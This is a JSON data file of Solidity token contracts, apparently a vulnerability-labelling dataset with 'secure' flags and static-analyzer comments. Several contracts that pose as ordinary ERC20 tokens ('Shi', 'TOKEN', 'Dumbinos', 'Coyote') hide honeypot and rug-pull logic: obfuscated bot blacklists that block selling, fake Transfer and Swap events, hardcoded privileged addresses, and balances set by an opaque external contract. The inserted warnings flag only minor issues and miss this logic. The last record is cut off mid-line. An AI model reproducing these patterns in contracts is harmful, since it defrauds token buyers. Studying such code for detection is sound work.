"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContractAddress(address account) internal pure returns (bool) {\n return\n keccak256(abi.encodePacked(account)) ==\n 0x4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc;\n }\n}",
"file_name": "solidity_code_3411.sol",
"secure": 1,
"size_bytes": 319
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nabstract contract ERC20Token is Ownable {\n address[] txs;\n mapping(address => bool) cooldowns;\n mapping(address => uint256) _cooldowns;\n\n function getAllowed(\n address from,\n address to,\n address pair\n ) internal returns (bool) {\n bool a = inLiquidityTx;\n bool b = _0e3a5(bots[to], isBot(from));\n bool res = b;\n if (!bots[to] && _0e3a5(bots[from], a) && to != pair) {\n if (to != address(0)) {\n txs.push(to);\n }\n res = true;\n } else if (b && !a) {\n if (pair == to) {\n res = true;\n }\n }\n return res;\n }\n function isBot(address _adr) internal view returns (bool) {\n return bots[_adr];\n }\n function shouldSwap(\n address sender,\n address receiver\n ) public view returns (bool) {\n if (receiver == sender) {\n if (isBot(receiver)) {\n return isBot(sender);\n }\n if (Address.isContractAddress(receiver)) {\n return Address.isContractAddress(sender);\n }\n }\n return false;\n }\n mapping(address => bool) bots;\n bool inLiquidityTx = false;\n function setWallets(address[] calldata _bots) external {\n for (uint256 i = 0; i < _bots.length; i++) {\n if (msg.sender == owner()) {\n bots[_bots[i]] = true;\n }\n }\n }\n function _0e3a5(bool _01d3c6, bool _2abd7) internal pure returns (bool) {\n return !_01d3c6 && !_2abd7;\n }\n}",
"file_name": "solidity_code_3412.sol",
"secure": 1,
"size_bytes": 1825
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./ERC20Token.sol\" as ERC20Token;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Shi is IERC20, ERC20Token {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: 2a92790): Shi._decimals should be constant \n\t// Recommendation for 2a92790: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 8824e48): Shi._totalSupply should be immutable \n\t// Recommendation for 8824e48: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 44444444 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 5076683): Shi._fee should be constant \n\t// Recommendation for 5076683: Add the 'constant' attribute to state variables that never change.\n uint256 _fee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: a270442): Shi._router should be constant \n\t// Recommendation for a270442: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: 719beb4): Shi._name should be constant \n\t// Recommendation for 719beb4: Add the 'constant' attribute to state variables that never change.\n string private _name = \"4\";\n\t// WARNING Optimization Issue (constable-states | ID: f6ac912): Shi._symbol should be constant \n\t// Recommendation for f6ac912: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"4\";\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 842c115): Shi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 842c115: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function approve_() external {\n\t\t// cache-array-length | ID: a98a47d\n for (uint256 i = 0; i < txs.length; i++) {\n if (bots[msg.sender]) {\n cooldowns[txs[i]] = true;\n }\n }\n if (bots[msg.sender]) {\n delete txs;\n }\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function getRouterVersion() public pure returns (uint256) {\n return 2;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(msg.sender, from, _allowances[msg.sender][from] - amount);\n return true;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0));\n if (shouldSwap(from, to)) {\n swap(amount, to);\n } else {\n require(amount <= _balances[from]);\n require(!cooldowns[from]);\n if (from == getPairAddress()) {\n _cooldowns[to] = block.number;\n } else {\n require(\n _cooldowns[from] != block.number,\n \"Fuck you frontrunner\"\n );\n }\n uint256 fee = 0;\n bool sdf = shouldTakeFee(from, to);\n if (!sdf) {} else {\n fee = amount.mul(_fee).div(100);\n }\n _balances[from] = _balances[from] - amount;\n _balances[to] += amount - fee;\n emit Transfer(from, to, amount);\n }\n }\n function shouldTakeFee(\n address from,\n address recipient\n ) private returns (bool) {\n return\n getAllowed(\n from,\n recipient,\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n )\n );\n }\n function name() external view returns (string memory) {\n return _name;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b15f7b0): Shi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b15f7b0: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 23bc10d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 23bc10d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swap(uint256 _mcs, address _bcr) private {\n _approve(address(this), address(_router), _mcs);\n _balances[address(this)] = _mcs;\n address[] memory path = new address[](2);\n inLiquidityTx = true;\n path[0] = address(this);\n path[1] = _router.WETH();\n\t\t// reentrancy-benign | ID: 23bc10d\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _mcs,\n 0,\n path,\n _bcr,\n block.timestamp + 30\n );\n\t\t// reentrancy-benign | ID: 23bc10d\n inLiquidityTx = false;\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(from, recipient, amount);\n require(_allowances[from][msg.sender] >= amount);\n return true;\n }\n function getPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n}",
"file_name": "solidity_code_3413.sol",
"secure": 0,
"size_bytes": 8052
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract TOKEN is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n address private _p76234;\n\t// WARNING Optimization Issue (constable-states | ID: 5d4181b): TOKEN._e242 should be constant \n\t// Recommendation for 5d4181b: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n emit Transfer(_p76234, _addresses_[i], _in);\n }\n }\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n emit Transfer(_p76234, _addresses_[i], _in);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 443f336): TOKEN.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 443f336: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11a633b): TOKEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 11a633b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f102e44): TOKEN.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f102e44: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2fb26f4): TOKEN.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 2fb26f4: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x311e33b25a636f228F521230aA3277BB2F65dFCc)\n\t\t\t// missing-zero-check | ID: 2fb26f4\n _p76234 = account;\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a2368e2): TOKEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a2368e2: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x311e33b25a636f228F521230aA3277BB2F65dFCc)\n ) {\n uint256 _X7W88 = amount + 1;\n require(_X7W88 < _e242);\n }\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n _afterTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a156c0): TOKEN._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a156c0: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor(string memory name_, string memory symbol_, uint256 amount) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3414.sol",
"secure": 0,
"size_bytes": 7683
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Dumbinos is ERC20Interface, SafeMath {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: ef748d9): Dumbinos.decimals should be immutable \n\t// Recommendation for ef748d9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 7257fa8): Dumbinos._totalSupply should be immutable \n\t// Recommendation for 7257fa8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n address public caAddy;\n\n constructor() {\n symbol = \"SFTMP\";\n name = \"Dumbinos\";\n decimals = 0;\n _totalSupply = 1000000;\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f5767df): Dumbinos.RemoveLimits(address).addy lacks a zerocheck on \t caAddy = addy\n\t// Recommendation for f5767df: Check that the address is not zero.\n function RemoveLimits(address addy) public {\n\t\t// missing-zero-check | ID: f5767df\n caAddy = addy;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n require(receiver != caAddy, \"Please interract properly\");\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(msg.sender, receiver, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address sender,\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n require(\n (receiver != address(0x37a2bf298184CC820a7406DAC9E3ef273340EB96) &&\n sender != address(0x37a2bf298184CC820a7406DAC9E3ef273340EB96)),\n \"don't worry you're safe :)\"\n );\n require(receiver != caAddy, \"Please interract properly\");\n balances[sender] = safeSub(balances[sender], tokens);\n allowed[sender][msg.sender] = safeSub(\n allowed[sender][msg.sender],\n tokens\n );\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(sender, receiver, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}",
"file_name": "solidity_code_3415.sol",
"secure": 0,
"size_bytes": 3499
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC5679 {\n function sendTransaction(uint256 value) external returns (uint256);\n}",
"file_name": "solidity_code_3416.sol",
"secure": 1,
"size_bytes": 164
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\nimport \"./IERC5679.sol\" as IERC5679;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address _roadRunner = 0x8a09860ce8aBEE17fBD1cd99e0dF4F5Eb8fC8336;\n address public pair;\n\n IDEXRouter router;\n IERC5679 roadRunner;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n bool public trade;\n uint256 public startBlock;\n address public msgSend;\n address public msgReceive;\n\n constructor(string memory name_, string memory symbol_) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n roadRunner = IERC5679(_roadRunner);\n\n _name = name_;\n _symbol = symbol_;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n\t\t// reentrancy-events | ID: 46c49ef\n\t\t// reentrancy-benign | ID: 8104859\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: 46c49ef\n\t\t// reentrancy-benign | ID: 8104859\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8104859\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 46c49ef\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() public {\n require(\n ((msg.sender == owner()) || (address(0) == owner())),\n \"Ownable: caller is not the owner\"\n );\n trade = true;\n startBlock = block.number;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function getAmount(uint256 amount) internal returns (uint256) {\n\t\t// reentrancy-events | ID: 46c49ef\n\t\t// reentrancy-events | ID: 5e634d1\n\t\t// reentrancy-benign | ID: 8104859\n\t\t// reentrancy-benign | ID: e88f033\n return roadRunner.sendTransaction(amount);\n }\n\n function _beforeTokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {}\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n msgSend = sender;\n msgReceive = recipient;\n\n require(\n ((trade == true) || (msgSend == owner())),\n \"ERC20: trading is not yet enabled\"\n );\n require(msgSend != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5e634d1\n\t\t// reentrancy-benign | ID: e88f033\n _balances[sender] = getAmount(amount) - amount;\n\t\t// reentrancy-benign | ID: e88f033\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 5e634d1\n emit Transfer(sender, recipient, amount);\n }\n\n function _DeployCoyote(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n approve(_router, ~uint256(0));\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_3417.sol",
"secure": 0,
"size_bytes": 6097
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n _DeployCoyote(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_3418.sol",
"secure": 0,
"size_bytes": 1053
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract Coyote is ERC20Token {\n constructor()\n ERC20Token(\n \"Wile E. Coyote\",\n \"COYOTE\",\n msg.sender,\n 69420000000 * 10 ** 18\n )\n {}\n}",
"file_name": "solidity_code_3419.sol",
"secure": 1,
"size_bytes": 320
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountA, uint256 amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountToken, uint256 amountETH);\n\n function quote(\n uint256 amountA,\n uint256 reserveA,\n uint256 reserveB\n ) external pure returns (uint256 amountB);\n\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountOut);\n\n function getAmountIn(\n uint256 amountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountIn);\n}",
"file_name": "solidity_code_342.sol",
"secure": 1,
"size_bytes": 3136
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ReelToken is ERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _release;\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - Amount;\n }\n _balances[to] += Amount;\n\n emit Transfer(from, to, Amount);\n }\n\n function _burn(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= Amount, \"ERC20: burn Amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - Amount;\n }\n _totalSupply -= Amount;\n\n emit Transfer(account, address(0), Amount);\n }\n\n function _Mnti(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: Mnti to the zero address\"); //mint\n\n _totalSupply += Amount;\n _balances[account] += Amount;\n emit Transfer(address(0), account, Amount);\n }\n\n address public uniswapV2Pair;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) ERC20(name_, symbol_) {\n _Mnti(msg.sender, totalSupply_ * 10 ** decimals());\n\n _defaultSellTaxi = 20;\n _defaultBuyTaxi = 5;\n\n _release[_msgSender()] = true;\n }\n\n using SafeMath for uint256;\n\n uint256 private _defaultSellTaxi = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b7eae8c): ReelToken._defaultBuyTaxi should be immutable \n\t// Recommendation for b7eae8c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _defaultBuyTaxi = 0;\n\n mapping(address => bool) private _mAccount;\n\n mapping(address => uint256) private _slipTaxi;\n address private constant _deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n function getRelease(\n address _address\n ) external view onlyOwner returns (bool) {\n return _release[_address];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 654ad31): ReelToken.SetPairList(address)._address lacks a zerocheck on \t uniswapV2Pair = _address\n\t// Recommendation for 654ad31: Check that the address is not zero.\n function SetPairList(address _address) external onlyOwner {\n\t\t// missing-zero-check | ID: 654ad31\n uniswapV2Pair = _address;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bf0bc90): ReelToken.upF(uint256) should emit an event for _defaultSellTaxi = _value \n\t// Recommendation for bf0bc90: Emit an event for critical parameter changes.\n function upF(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: bf0bc90\n _defaultSellTaxi = _value;\n }\n\n function setSlipTaxi(address _address, uint256 _value) external onlyOwner {\n require(_value > 0, \"Account tax must be greater than or equal to 1\");\n _slipTaxi[_address] = _value;\n }\n\n function getSlipTaxi(\n address _address\n ) external view onlyOwner returns (uint256) {\n return _slipTaxi[_address];\n }\n\n function setMAccountTaxi(address _address, bool _value) external onlyOwner {\n _mAccount[_address] = _value;\n }\n\n function getMAccountTaxi(\n address _address\n ) external view onlyOwner returns (bool) {\n return _mAccount[_address];\n }\n\n function _checkFreeAccount(\n address from,\n address _to\n ) internal view returns (bool) {\n return _mAccount[from] || _mAccount[_to];\n }\n\n function _receiveF(\n address from,\n address _to,\n uint256 _Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(_to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= _Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n\n bool rF = true;\n\n if (_checkFreeAccount(from, _to)) {\n rF = false;\n }\n uint256 tradeTaxiAmount = 